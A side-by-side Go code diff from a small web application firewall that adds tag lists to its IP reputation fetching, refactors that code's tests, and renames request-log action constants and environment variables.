urls := slices.Clone(l.params.BlocklistURLs) urls := slices.Clone(l.params.BlocklistURLs)
if l.params.ASNLimitPercentURL != "" { if l.params.ASNLimitPercentURL != "" {
urls = append(urls, l.params.ASNLimitPercentURL) urls = append(urls, l.params.ASNLimitPercentURL)
} }
for _, list := range l.params.TagLists {
urls = append(urls, list.URL)
}
if l.params.CrowdSecDecisionsURL != "" { if l.params.CrowdSecDecisionsURL != "" {
urls = append(urls, l.params.CrowdSecDecisionsURL) urls = append(urls, l.params.CrowdSecDecisionsURL)
} }
@@ -168,7 +178,7 @@ func (l *Lists) URLs() []string {
} }
// ListedBy returns the URLs of the blocklists whose copy lists addr, in // ListedBy returns the URLs of the blocklists whose copy lists addr, in
// the order SWWAF_BLOCKLIST_URLS names them. // the order SWW_WAF_BLOCKLIST_URLS names them.
func (l *Lists) ListedBy(addr netip.Addr) []string { func (l *Lists) ListedBy(addr netip.Addr) []string {
l.mu.Lock() l.mu.Lock()
defer l.mu.Unlock() defer l.mu.Unlock()
@@ -184,6 +194,22 @@ func (l *Lists) ListedBy(addr netip.Addr) []string {
return listedBy return listedBy
} }
// TagsOf returns the names of the tag lists whose copy holds addr.
func (l *Lists) TagsOf(addr netip.Addr) []string {
l.mu.Lock()
defer l.mu.Unlock()
var names []string
for _, list := range l.params.TagLists {
if l.lists[list.URL].entries.contain(addr) {
names = append(names, list.Name)
}
}
return names
}
// ASNLimitPercent returns the percentage the copy of the file of // ASNLimitPercent returns the percentage the copy of the file of
// AS:percent lines gives asn, and whether it lists asn. // AS:percent lines gives asn, and whether it lists asn.
func (l *Lists) ASNLimitPercent(asn string) (int64, bool) { func (l *Lists) ASNLimitPercent(asn string) (int64, bool) {
@@ -203,7 +229,10 @@ func (l *Lists) ASNLimitPercent(asn string) (int64, bool) {
// decision list on a netblock that holds addr and that ends last, and // decision list on a netblock that holds addr and that ends last, and
// whether it is still in force at now. A decision that has ended no // whether it is still in force at now. A decision that has ended no
// longer bans, even before the next fetch drops it. // longer bans, even before the next fetch drops it.
func (l *Lists) CrowdSecDecision(addr netip.Addr, now time.Time) (Decision, bool) { func (l *Lists) CrowdSecDecision(
addr netip.Addr,
now time.Time,
) (Decision, bool) {
if l.params.CrowdSecDecisionsURL == "" { if l.params.CrowdSecDecisionsURL == "" {
return Decision{}, false return Decision{}, false
} }
@@ -249,7 +278,7 @@ func (l *Lists) Failures(listURL string) int {
// Run fetches each list once it is due, as due tells, until ctx is done. A // Run fetches each list once it is due, as due tells, until ctx is done. A
// list never tried is fetched at once, and so is one that is due by its // list never tried is fetched at once, and so is one that is due by its
// last try or copy read from reputation.json. // last try or copy read from lists.json.
func (l *Lists) Run(ctx context.Context) { func (l *Lists) Run(ctx context.Context) {
if len(l.lists) == 0 { if len(l.lists) == 0 {
return return
@@ -269,7 +298,7 @@ func (l *Lists) Run(ctx context.Context) {
} }
// Snapshot returns each list that has been tried, with its copy, if it // Snapshot returns each list that has been tried, with its copy, if it
// has one, sorted by URL, as reputation.json lists them. // has one, sorted by URL, as lists.json lists them.
func (l *Lists) Snapshot() []List { func (l *Lists) Snapshot() []List {
l.mu.Lock() l.mu.Lock()
@@ -290,7 +319,7 @@ func (l *Lists) Snapshot() []List {
return tried return tried
} }
// Load puts lists, read from reputation.json, in place of the last tries // Load puts lists, read from lists.json, in place of the last tries
// and copies held. A list Params does not name is dropped. A copy with a // and copies held. A list Params does not name is dropped. A copy with a
// line that parse refuses is an error, and then nothing changes. // line that parse refuses is an error, and then nothing changes.
func (l *Lists) Load(lists []List) error { func (l *Lists) Load(lists []List) error {
@@ -371,7 +400,7 @@ func (l *Lists) due(listURL string) time.Time {
// fetch fetches the list at listURL, and notes the try. A good copy takes // fetch fetches the list at listURL, and notes the try. A good copy takes
// the place of the one held. A failure leaves that in use, and is counted, // the place of the one held. A failure leaves that in use, and is counted,
// logged and raised as a source_failure alert. A fetch cut off as ctx // logged and raised as a source_failure alert. A fetch cut off as ctx
// ends, as smallwebwaf stops, is no failure, but is still noted as a try, // ends, as sww stops, is no failure, but is still noted as a try,
// so that a restart waits for it: the server may have had its request. // so that a restart waits for it: the server may have had its request.
func (l *Lists) fetch(ctx context.Context, listURL string) { func (l *Lists) fetch(ctx context.Context, listURL string) {
lines, err := l.get(ctx, listURL) lines, err := l.get(ctx, listURL)
@@ -408,12 +437,24 @@ func (l *Lists) fetch(ctx context.Context, listURL string) {
// Raised before it is logged, so that the alert is there once the // Raised before it is logged, so that the alert is there once the
// log line is. // log line is.
raiseFailure(l.params.Alerts, failed, listURL, err) raiseFailure(l.params.Alerts, failed, listURL, err)
l.params.ProcessLog.Warn(failed, "url", listURL, "error", err.Error()) l.params.ProcessLog.Warn(
failed,
"url",
listURL,
"error",
err.Error(),
)
return return
} }
l.params.ProcessLog.Info("fetched a list", "url", listURL, "lines", len(lines)) l.params.ProcessLog.Info(
"fetched a list",
"url",
listURL,
"lines",
len(lines),
)
} }
// raiseFailure raises a source_failure alert into queue, with reason, and // raiseFailure raises a source_failure alert into queue, with reason, and
@@ -436,7 +477,12 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
ctx, cancel := context.WithTimeout(ctx, fetchTimeout) ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
defer cancel() defer cancel()
req, err := http.NewRequestWithContext(ctx, http.MethodGet, listURL, http.NoBody) req, err := http.NewRequestWithContext(
ctx,
http.MethodGet,
listURL,
http.NoBody,
)
if err != nil { if err != nil {
return nil, fmt.Errorf("make the request: %w", err) return nil, fmt.Errorf("make the request: %w", err)
} }
@@ -481,10 +527,10 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
} }
// parse reads the lines of the list at listURL, fetched at fetched: those // parse reads the lines of the list at listURL, fetched at fetched: those
// of a blocklist, of the file of AS:percent lines, or of the CrowdSec // of a blocklist or a tag list, of the file of AS:percent lines, or of the
// decision list. In the first two, anything after a ; or a # on a line is // CrowdSec decision list. In all but the decision list, anything after a ; or
// left out, and so is a line left blank. Any other line that does not read // a # on a line is left out, and so is a line left blank. Any other line that
// is an error naming it by its number. // does not read is an error naming it by its number.
func (l *Lists) parse( func (l *Lists) parse(
listURL string, lines []string, fetched time.Time, listURL string, lines []string, fetched time.Time,
) (entries, error) { ) (entries, error) {
@@ -498,8 +544,8 @@ func (l *Lists) parse(
} }
} }
// parseNetblocks reads a blocklist's lines, each an address or a netblock // parseNetblocks reads the lines of a blocklist or a tag list, each an address
// as the settings take them. // or a netblock as the settings take them.
func parseNetblocks(lines []string) (entries, error) { func parseNetblocks(lines []string) (entries, error) {
found := entries{netblocks: map[netip.Prefix]bool{}} found := entries{netblocks: map[netip.Prefix]bool{}}
@@ -547,11 +593,14 @@ func parseNetblock(text string) (netip.Prefix, bool) {
return netip.Prefix{}, false return netip.Prefix{}, false
} }
return netip.PrefixFrom(netblock.Addr().Unmap(), netblock.Bits()-mappedBits), true return netip.PrefixFrom(
netblock.Addr().Unmap(),
netblock.Bits()-mappedBits,
), true
} }
// parsePercents reads the lines of the file of AS:percent lines, each an // parsePercents reads the lines of the file of AS:percent lines, each an
// AS number, : and a percentage, as SWWAF_ASN_LIMIT_PERCENT takes them. An // AS number, : and a percentage, such as AS64496:50. An
// AS number listed more than once gets the lowest of its percentages. // AS number listed more than once gets the lowest of its percentages.
func parsePercents(lines []string) (entries, error) { func parsePercents(lines []string) (entries, error) {
found := entries{percents: map[string]int64{}} found := entries{percents: map[string]int64{}}
@@ -605,7 +654,8 @@ func parseDecisions(lines []string, fetched time.Time) (entries, error) {
found := entries{decisions: map[netip.Prefix]Decision{}} found := entries{decisions: map[netip.Prefix]Decision{}}
for i, decision := range answer { for i, decision := range answer {
if decision.Type != "ban" || (decision.Scope != "Ip" && decision.Scope != "Range") { if decision.Type != "ban" ||
(decision.Scope != "Ip" && decision.Scope != "Range") {
continue continue
} }
@@ -613,12 +663,19 @@ func parseDecisions(lines []string, fetched time.Time) (entries, error) {
duration, err := time.ParseDuration(decision.Duration) duration, err := time.ParseDuration(decision.Duration)
if !ok || err != nil { if !ok || err != nil {
return entries{}, fmt.Errorf("decision %d %w", i+1, errNotDecision) return entries{}, fmt.Errorf(
"decision %d %w",
i+1,
errNotDecision,
)
} }
expires := fetched.Add(duration) expires := fetched.Add(duration)
if expires.After(found.decisions[netblock].Expires) { if expires.After(found.decisions[netblock].Expires) {
found.decisions[netblock] = Decision{Expires: expires, Scenario: decision.Scenario} found.decisions[netblock] = Decision{
Expires: expires,
Scenario: decision.Scenario,
}
} }
if !slices.Contains(found.lengths, netblock.Bits()) { if !slices.Contains(found.lengths, netblock.Bits()) {
+138 -60
View File
@@ -34,8 +34,8 @@ const (
dropURL = "https://lists.example/drop.txt" dropURL = "https://lists.example/drop.txt"
torURL = "https://lists.example/tor.txt" torURL = "https://lists.example/tor.txt"
asnURL = "https://lists.example/asn.txt" asnURL = "https://lists.example/asn.txt"
// refresh is the tests' SWWAF_BLOCKLIST_REFRESH, and cooldown their // refresh is the tests' SWW_WAF_BLOCKLIST_REFRESH, and cooldown their
// SWWAF_ALERT_COOLDOWN, longer than it. // SWW_WAF_ALERT_COOLDOWN, longer than it.
refresh = 24 * time.Hour refresh = 24 * time.Hour
cooldown = 48 * time.Hour cooldown = 48 * time.Hour
// drop is a blocklist as the Spamhaus DROP list is written, with an // drop is a blocklist as the Spamhaus DROP list is written, with an
@@ -72,7 +72,9 @@ func TestListedAddressesAndNetblocksWithTheCommentsLeftOut(t *testing.T) {
}) })
} }
func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor(t *testing.T) { func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor(
t *testing.T,
) {
t.Parallel() t.Parallel()
now := time.Now() now := time.Now()
@@ -116,7 +118,7 @@ func TestClientIsListedByEachBlocklistThatListsIt(t *testing.T) {
}} }}
lists := start(t, servers, params(torURL, dropURL)) lists := start(t, servers, params(torURL, dropURL))
// In the order SWWAF_BLOCKLIST_URLS names them. // In the order SWW_WAF_BLOCKLIST_URLS names them.
wantListedBy(t, lists, "203.0.113.9", torURL, dropURL) wantListedBy(t, lists, "203.0.113.9", torURL, dropURL)
wantListedBy(t, lists, "203.0.113.8", dropURL) wantListedBy(t, lists, "203.0.113.8", dropURL)
}) })
@@ -126,7 +128,9 @@ func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
servers := &standIn{lists: map[string]string{dropURL: "203.0.113.9\n"}} servers := &standIn{
lists: map[string]string{dropURL: "203.0.113.9\n"},
}
lists := start(t, servers, params(dropURL)) lists := start(t, servers, params(dropURL))
began := time.Now() began := time.Now()
@@ -142,41 +146,21 @@ func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) {
wantListedBy(t, lists, "203.0.113.9") wantListedBy(t, lists, "203.0.113.9")
wantListedBy(t, lists, "203.0.113.10", dropURL) wantListedBy(t, lists, "203.0.113.10", dropURL)
if fetched := lists.Fetched(dropURL); !fetched.Equal(began.Add(refresh)) { if fetched := lists.Fetched(dropURL); !fetched.Equal(
began.Add(refresh),
) {
t.Errorf("the copy in use was fetched at %s, want %s", fetched, t.Errorf("the copy in use was fetched at %s, want %s", fetched,
began.Add(refresh)) began.Add(refresh))
} }
}) })
} }
func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) { func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range listFailures() {
name string
// fail has the stand-in answer the fetches after the first so that
// they fail with error.
fail func(servers *standIn)
error string
}{
{
"an answer other than 200",
func(servers *standIn) { servers.set(dropURL, "") },
"the server answered 503 Service Unavailable",
},
{
"a line that does not read",
func(servers *standIn) { servers.set(dropURL, "203.0.113.10\n<html>\n") },
"line 2 is not an address or a netblock, such as 192.0.2.0/24",
},
{
"a list longer than 16 MiB",
func(servers *standIn) {
servers.set(dropURL, strings.Repeat("#\n", 8<<20+1))
},
"the list is longer than 16 MiB",
},
} {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
t.Parallel() t.Parallel()
@@ -205,8 +189,13 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
want := kept[0] want := kept[0]
want.Tried = time.Now() want.Tried = time.Now()
if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) { got := lists.Snapshot()
t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want) if !reflect.DeepEqual(got, []reputation.List{want}) {
t.Errorf(
"lists %+v, want the first copy, last tried now, %+v",
got,
want,
)
} }
if lists.Failures(dropURL) != 2 { if lists.Failures(dropURL) != 2 {
@@ -215,10 +204,14 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
// One alert for the first failure; the cooldown holds back the // One alert for the first failure; the cooldown holds back the
// second. // second.
wantAlert(t, queue, fetchFailure(time.Now().Add(-refresh), dropURL, tc.error)) failed := time.Now().Add(-refresh)
wantAlert(t, queue, fetchFailure(failed, dropURL, tc.error))
if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+ if !strings.Contains(
`"url":"`+dropURL+`","error":"`+tc.error) { log.String(),
`"msg":"fetching a list failed",`+
`"url":"`+dropURL+`","error":"`+tc.error,
) {
t.Errorf("logged\n%s\nwant the failures", log.String()) t.Errorf("logged\n%s\nwant the failures", log.String())
} }
}) })
@@ -226,6 +219,40 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
} }
} }
// listFailure is a way a list's fetch can fail.
type listFailure struct {
name string
// fail has the stand-in answer the fetches after the first so that
// they fail with error.
fail func(servers *standIn)
error string
}
// listFailures returns the ways a list's fetch can fail.
func listFailures() []listFailure {
return []listFailure{
{
"an answer other than 200",
func(servers *standIn) { servers.set(dropURL, "") },
"the server answered 503 Service Unavailable",
},
{
"a line that does not read",
func(servers *standIn) {
servers.set(dropURL, "203.0.113.10\n<html>\n")
},
"line 2 is not an address or a netblock, such as 192.0.2.0/24",
},
{
"a list longer than 16 MiB",
func(servers *standIn) {
servers.set(dropURL, strings.Repeat("#\n", 8<<20+1))
},
"the list is longer than 16 MiB",
},
}
}
func TestFetchNotDoneWithinAMinuteFails(t *testing.T) { func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
t.Parallel() t.Parallel()
@@ -237,19 +264,27 @@ func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
synctest.Wait() synctest.Wait()
if lists.Failures(dropURL) != 0 { if lists.Failures(dropURL) != 0 {
t.Errorf("%d failures before a minute, want none", lists.Failures(dropURL)) t.Errorf(
"%d failures before a minute, want none",
lists.Failures(dropURL),
)
} }
time.Sleep(time.Nanosecond) time.Sleep(time.Nanosecond)
synctest.Wait() synctest.Wait()
if lists.Failures(dropURL) != 1 { if lists.Failures(dropURL) != 1 {
t.Errorf("%d failures after a minute, want 1", lists.Failures(dropURL)) t.Errorf(
"%d failures after a minute, want 1",
lists.Failures(dropURL),
)
} }
}) })
} }
func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(t *testing.T) { func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -260,10 +295,18 @@ func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(t *testing.
lists.SetTransport(servers) lists.SetTransport(servers)
// drop.txt was fetched an hour ago, and tor.txt a refresh ago, as // drop.txt was fetched an hour ago, and tor.txt a refresh ago, as
// reputation.json says at start. // lists.json says at start.
err := lists.Load([]reputation.List{ err := lists.Load([]reputation.List{
{URL: dropURL, Fetched: time.Now().Add(-time.Hour), Lines: []string{"203.0.113.9"}}, {
{URL: torURL, Fetched: time.Now().Add(-refresh), Lines: []string{"198.51.100.9"}}, URL: dropURL,
Fetched: time.Now().Add(-time.Hour),
Lines: []string{"203.0.113.9"},
},
{
URL: torURL,
Fetched: time.Now().Add(-refresh),
Lines: []string{"198.51.100.9"},
},
}) })
if err != nil { if err != nil {
t.Fatalf("load: %v", err) t.Fatalf("load: %v", err)
@@ -290,16 +333,20 @@ func TestRestartWaitsRefreshAfterTheLastTryEvenOneThatFailed(t *testing.T) {
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
// drop.txt is fetched, and a refresh later the fetch downloads it // drop.txt is fetched, and a refresh later the fetch downloads it
// whole but fails on a line that does not read. // whole but fails on a line that does not read.
servers := &standIn{lists: map[string]string{dropURL: "198.51.100.1\n"}} servers := &standIn{
lists: map[string]string{dropURL: "198.51.100.1\n"},
}
lists := start(t, servers, params(dropURL)) lists := start(t, servers, params(dropURL))
servers.set(dropURL, "198.51.100.2\n<html>\n") servers.set(dropURL, "198.51.100.2\n<html>\n")
time.Sleep(refresh) time.Sleep(refresh)
wantFetches(t, servers, 2) wantFetches(t, servers, 2)
// Restarted with what reputation.json keeps, it waits a refresh // Restarted with what lists.json keeps, it waits a refresh
// after the failed try, as it does while it runs. // after the failed try, as it does while it runs.
restarted := &standIn{lists: map[string]string{dropURL: "198.51.100.2\n"}} restarted := &standIn{
lists: map[string]string{dropURL: "198.51.100.2\n"},
}
again := reputation.New(params(dropURL)) again := reputation.New(params(dropURL))
again.SetTransport(restarted) again.SetTransport(restarted)
@@ -349,11 +396,14 @@ func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) {
wantFetches(t, servers, 1) wantFetches(t, servers, 1)
if lists.Failures(dropURL) != 0 || len(waiting(queue)) != 0 { if lists.Failures(dropURL) != 0 || len(waiting(queue)) != 0 {
t.Errorf("%d failures and alerts %+v, want none", lists.Failures(dropURL), t.Errorf(
waiting(queue)) "%d failures and alerts %+v, want none",
lists.Failures(dropURL),
waiting(queue),
)
} }
// Restarted an hour later with what reputation.json keeps, it fetches // Restarted an hour later with what lists.json keeps, it fetches
// tor.txt, never tried, at once, and drop.txt a refresh after its // tor.txt, never tried, at once, and drop.txt a refresh after its
// cut-off try. // cut-off try.
time.Sleep(time.Hour) time.Sleep(time.Hour)
@@ -382,7 +432,9 @@ func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) {
}) })
} }
func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) { func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -397,7 +449,13 @@ func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) {
for asn, want := range map[string]int64{"AS14061": 10, "AS16276": 25} { for asn, want := range map[string]int64{"AS14061": 10, "AS16276": 25} {
percent, listed := lists.ASNLimitPercent(asn) percent, listed := lists.ASNLimitPercent(asn)
if !listed || percent != want { if !listed || percent != want {
t.Errorf("%s has %d (listed %t), want %d", asn, percent, listed, want) t.Errorf(
"%s has %d (listed %t), want %d",
asn,
percent,
listed,
want,
)
} }
} }
@@ -416,7 +474,9 @@ func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) {
}) })
} }
func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T) { func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(
t *testing.T,
) {
t.Parallel() t.Parallel()
fetched := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC) fetched := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
@@ -432,13 +492,18 @@ func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T)
t.Fatalf("load: %v", err) t.Fatalf("load: %v", err)
} }
if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) { if got := lists.Snapshot(); !reflect.DeepEqual(
got,
[]reputation.List{kept},
) {
t.Errorf("copies %+v, want only %+v", got, kept) t.Errorf("copies %+v, want only %+v", got, kept)
} }
err = lists.Load([]reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{ err = lists.Load(
[]reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{
"; DROP", "203.0.113.300", "; DROP", "203.0.113.300",
}}}) }}},
)
const want = "the copy of " + dropURL + const want = "the copy of " + dropURL +
": line 2 is not an address or a netblock, such as 192.0.2.0/24" ": line 2 is not an address or a netblock, such as 192.0.2.0/24"
@@ -446,7 +511,10 @@ func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T)
t.Errorf("error %v, want %s", err, want) t.Errorf("error %v, want %s", err, want)
} }
if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) { if got := lists.Snapshot(); !reflect.DeepEqual(
got,
[]reputation.List{kept},
) {
t.Errorf("copies %+v after the error, want %+v still", got, kept) t.Errorf("copies %+v after the error, want %+v still", got, kept)
} }
} }
@@ -580,7 +648,12 @@ func wantFetches(t *testing.T, servers *standIn, want int) {
} }
// wantListedBy checks the URLs of the blocklists lists says list addr. // wantListedBy checks the URLs of the blocklists lists says list addr.
func wantListedBy(t *testing.T, lists *reputation.Lists, addr string, want ...string) { func wantListedBy(
t *testing.T,
lists *reputation.Lists,
addr string,
want ...string,
) {
t.Helper() t.Helper()
got := lists.ListedBy(netip.MustParseAddr(addr)) got := lists.ListedBy(netip.MustParseAddr(addr))
@@ -611,8 +684,13 @@ func wantAlert(t *testing.T, queue *alerts.Queue, want alerts.Alert) {
t.Helper() t.Helper()
got := waiting(queue) got := waiting(queue)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) || queue.Suppressed() != 1 { if len(got) != 1 || !reflect.DeepEqual(got[0], want) ||
t.Errorf("alerts waiting %+v, %d held back, want only %+v and 1", got, queue.Suppressed() != 1 {
queue.Suppressed(), want) t.Errorf(
"alerts waiting %+v, %d held back, want only %+v and 1",
got,
queue.Suppressed(),
want,
)
} }
} }
+144 -93
View File
@@ -1,10 +1,11 @@
// Package requestlog writes the lines smallwebwaf prints on stdout: one // Package requestlog writes the lines sww prints on stdout: one
// JSON object per request, two from servewaf and a short one from rproxy, marked // JSON object per request, two from waf and a short one from rproxy,
// "type":"request", and the process's own messages as JSON lines marked // marked "type":"request", and the process's own messages as JSON lines marked
// "type":"process". // "type":"process".
package requestlog package requestlog
import ( import (
"bytes"
"encoding/json" "encoding/json"
"fmt" "fmt"
"io" "io"
@@ -14,56 +15,70 @@ import (
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
) )
// The action a request line names: what servewaf did with the request. // The action a request line names: what waf did with the request.
const ( const (
// ActionForward is a request servewaf allowed, which rproxy passes to the // ActionForward is a request waf allowed, which rproxy passes to
// app. // the app.
ActionForward = "forward" ActionForward = "forward"
// ActionTooLarge is a request over the header limits.
ActionTooLarge = "too_large" // ActionRequestHeaderTooLarge is a request over the header limits.
// ActionRateLimited is a request refused because it took its client ActionRequestHeaderTooLarge = "request_header_too_large"
// over a rate limit, which bans the client.
ActionRateLimited = "rate_limited" // ActionClientIsRateLimited is a request refused because it took its
// ActionBanned is a request refused because a ban covers its client, // client over a rate limit, which bans the client.
// or because it matched a ban rule, asked for a trap path or the ActionClientIsRateLimited = "client_is_rate_limited"
// CrowdSec decision list lists its client, each of which bans the
// client. // ActionTemporarilyBanned is a request refused because a ban that runs
ActionBanned = "banned" // out covers its client, or because it matched a ban rule, asked for a
// ActionRuleBlocked is a request refused because it matched a block // trap path or the CrowdSec decision list lists its client, and so made
// rule. // such a ban.
ActionRuleBlocked = "rule_blocked" ActionTemporarilyBanned = "temporarily_banned"
// ActionWAFBlocked is a request refused because the Core Rule Set
// scored it at or over SWWAF_WAF_ANOMALY_THRESHOLD. // ActionPermanentlyBanned is a request refused because a ban that never
ActionWAFBlocked = "waf_blocked" // runs out covers its client, or because the request made such a ban or
// ActionDenied is a request refused because its client is in // made its client's ban permanent.
// SWWAF_DENY_NETS, in a blocklist while SWWAF_BLOCKLIST_ACTION is deny, ActionPermanentlyBanned = "permanently_banned"
// ActionBlockedByBlockRule is a request refused because it matched a
// block rule.
ActionBlockedByBlockRule = "blocked_by_block_rule"
// ActionBlockedByCoreRuleSet is a request refused because the Core Rule
// Set scored it at or over SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD.
ActionBlockedByCoreRuleSet = "blocked_by_core_rule_set"
// ActionClientDenied is a request refused because its client is in
// SWW_WAF_DENY_NETS, in a blocklist while SWW_WAF_BLOCKLIST_ACTION is deny,
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while // or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
// SWWAF_REPUTATION_ACTION is deny. // SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny, or that carries a tag in
ActionDenied = "denied" // SWW_WAF_TAG_DENY.
// ActionCountryDenied is a request refused for its client's country. ActionClientDenied = "client_denied"
// ActionCountryDenied is a request refused because its client's country
// is not in SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES.
ActionCountryDenied = "country_denied" ActionCountryDenied = "country_denied"
// ActionAdmin is a request servewaf answered at one of its own endpoints, // ActionOwnEndpoint is a request waf answered at one of its own
// or a question about a path under /_smallwebwaf/. // endpoints, or a question about a path under /_sww/.
ActionAdmin = "admin" ActionOwnEndpoint = "own_endpoint"
) )
// OffenceLimit is the offence a request line names for a request that // OffenceLimit is the offence a request line names for a request that
// broke a rate limit or the error burst, or whose bytes broke a byte // broke a rate limit or the refusal limit, or whose bytes broke a byte
// limit. // limit.
const OffenceLimit = "limit" const OffenceLimit = "limit"
// LimitHitErrorBurst is the limit_hit a request line names for a request // LimitHitMinuteRefusals is the limit_hit a request line names for a request
// that broke the error burst. // that broke the refusal limit.
const LimitHitErrorBurst = "error_burst" const LimitHitMinuteRefusals = "minute_refusals"
// The servewaf_line a request line names, which says which of servewaf's two // The waf_line a request line names, which says which of
// lines about a question it is. // waf's two lines about a question it is.
const ( const (
// ServeWAFLineDecision is servewaf's line at its decision. // WAFLineDecision is waf's line at its decision.
ServeWAFLineDecision = "decision" WAFLineDecision = "decision"
// ServeWAFLineReport is servewaf's line when rproxy's report comes, with // WAFLineReport is waf's line when rproxy's report
// the decision's fields and the report's together. // comes, with the decision's fields and the report's together.
ServeWAFLineReport = "report" WAFLineReport = "report"
) )
// timeLayout is RFC 3339 with milliseconds. // timeLayout is RFC 3339 with milliseconds.
@@ -76,9 +91,9 @@ const timeLayout = "2006-01-02T15:04:05.000Z07:00"
//nolint:tagliatelle // docs/request-log.md names the fields in snake_case //nolint:tagliatelle // docs/request-log.md names the fields in snake_case
type Line struct { type Line struct {
Type string `json:"type"` Type string `json:"type"`
// ServeWAFLine is ServeWAFLineDecision or ServeWAFLineReport on servewaf's // WAFLine is WAFLineDecision or WAFLineReport
// two lines about a question. // on waf's two lines about a question.
ServeWAFLine string `json:"servewaf_line,omitempty"` WAFLine string `json:"waf_line,omitempty"`
// The standard web log fields. Scheme is how the client reached rproxy, or // The standard web log fields. Scheme is how the client reached rproxy, or
// the trusted proxy in front of it. // the trusted proxy in front of it.
@@ -98,7 +113,7 @@ type Line struct {
UserAgent string `json:"user_agent"` UserAgent string `json:"user_agent"`
// Request detail. RequestID is the id rproxy made for the request, or for a // Request detail. RequestID is the id rproxy made for the request, or for a
// request to servewaf's own endpoints a new one. ForwardedFor is the // request to waf's own endpoints a new one. ForwardedFor is the
// X-Forwarded-For header as received. ClientGroup is the netblock the // X-Forwarded-For header as received. ClientGroup is the netblock the
// client is counted as. ASN, ASName and Country are the client's AS // client is counted as. ASN, ASName and Country are the client's AS
// number, AS name and country, as looked up. // number, AS name and country, as looked up.
@@ -112,34 +127,45 @@ type Line struct {
ContentType string `json:"content_type,omitempty"` ContentType string `json:"content_type,omitempty"`
// ContentLength is the length of its body the request announced. // ContentLength is the length of its body the request announced.
ContentLength int64 `json:"content_length,omitempty"` ContentLength int64 `json:"content_length,omitempty"`
// RequestHeaders are the headers SWWAF_LOG_REQUEST_HEADERS names that // RequestHeaders are the headers SWW_WAF_LOG_REQUEST_HEADERS names that
// the request carried, by name in lower case. // the request carried, by name in lower case.
RequestHeaders map[string]string `json:"request_headers,omitempty"` RequestHeaders map[string]string `json:"request_headers,omitempty"`
HasAuthorization bool `json:"has_authorization,omitempty"` HasAuthorization bool `json:"has_authorization,omitempty"`
HasCookie bool `json:"has_cookie,omitempty"` HasCookie bool `json:"has_cookie,omitempty"`
// Response detail, of servewaf's own answer. Aborted is true when rproxy, or // Response detail, of waf's own answer. Aborted is true when
// the admin's tool, went away before the answer. // rproxy, or the admin's tool, went away before the answer.
ResponseContentType string `json:"response_content_type,omitempty"` ResponseContentType string `json:"response_content_type,omitempty"`
Aborted bool `json:"aborted,omitempty"` Aborted bool `json:"aborted,omitempty"`
// The decision. // The decision.
Action string `json:"action"` Action string `json:"action"`
// WouldAction is, in observe mode, the action enforce mode would have // WouldAction is, in observe mode, the action enforce mode would have
// taken with a request it would have refused: ActionDenied, // taken with a request it would have refused: ActionClientDenied,
// ActionBanned, ActionCountryDenied, ActionRateLimited, // ActionTemporarilyBanned, ActionPermanentlyBanned, ActionCountryDenied,
// ActionRuleBlocked, ActionWAFBlocked, or, in servewaf, ActionTooLarge // ActionClientIsRateLimited, ActionBlockedByBlockRule,
// for the header limits. // ActionBlockedByCoreRuleSet, or, in waf,
// ActionRequestHeaderTooLarge for the header limits.
